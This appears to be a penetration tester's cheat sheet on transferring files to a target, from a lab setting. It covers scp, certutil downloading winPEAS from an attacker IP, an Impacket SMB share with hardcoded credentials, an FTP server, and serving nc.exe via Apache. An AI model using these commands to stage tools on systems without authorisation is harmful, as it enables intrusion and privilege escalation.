File Transferring

SSH (scp)

scp <source> <destination>
scp /path/to/file username@server:/path/to/destination
scp username@server:/path/to/file /path/to/local/destination

certutil.exe (command prompt)

certutil.exe -urlcache -split -f "http://10.10.14.11/winpeas.exe" winpeas.exe

SMB

Impacket SMB Server

Impacket's smbserver functionality can create a smb share

python /user/share/doc/python-impacket/examples/smbserver.py share-name root-dir

Best to create one like the following:

impacket-smbserver FileShare $(pwd) -smb2support -user ippsec -password SupportMeOnPatreon

$pass = convertto-securestring 'SupportMeOnPatreon' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('ippsec', $pass)
New-PSDrive -Name ippsec -PSProvider FileSystem -Credential $cred -Root \\<local-ip>\<share_name>

net use s: \\10.10.14.11\FileShare
dir s:

Impacket's SMB share, can test connection from windows using:

net view \\ip-addr

list files in share with

dir \\ip-addr\share-name

Impacket SMB Server requires SMB1 be enabled. If you have administrative privileges you can enable SMB1 using the following command:

DISM /Online /Enable-Feature /All /FeatureName:SMB1Protocol

You can also go through the GUI Control Panel.

FTP

pyftpdlib

install the package on your machine with

apt-get install python-pyftpdlib

Start the server with

python -m pyftpdlib [-p port] [-w for anonymous write]

default port used is 2121

HTTP

Apache2

kali@kali:~$ sudo systemctl start apache2
[sudo] password for kali: 

kali@kali:~$

The web root for our apache server will be /var/www/html

kali@kali:~$ find / -name nc.exe 2>/dev/null
/usr/share/windows-resources/binaries/nc.exe

kali@kali:~$ sudo cp /usr/share/windows-resources/binaries/nc.exe /var/www/html/

You can check to make sure a request went through by checking the access.log file:

┌[parrot]─[11:37-17/11]─[/home/harutomo/offsec/port-redirection-and-ssh-tunneling]
└╼harutomo@192.168.45.221[💻]$ sudo tail -f /var/log/apache2/access.log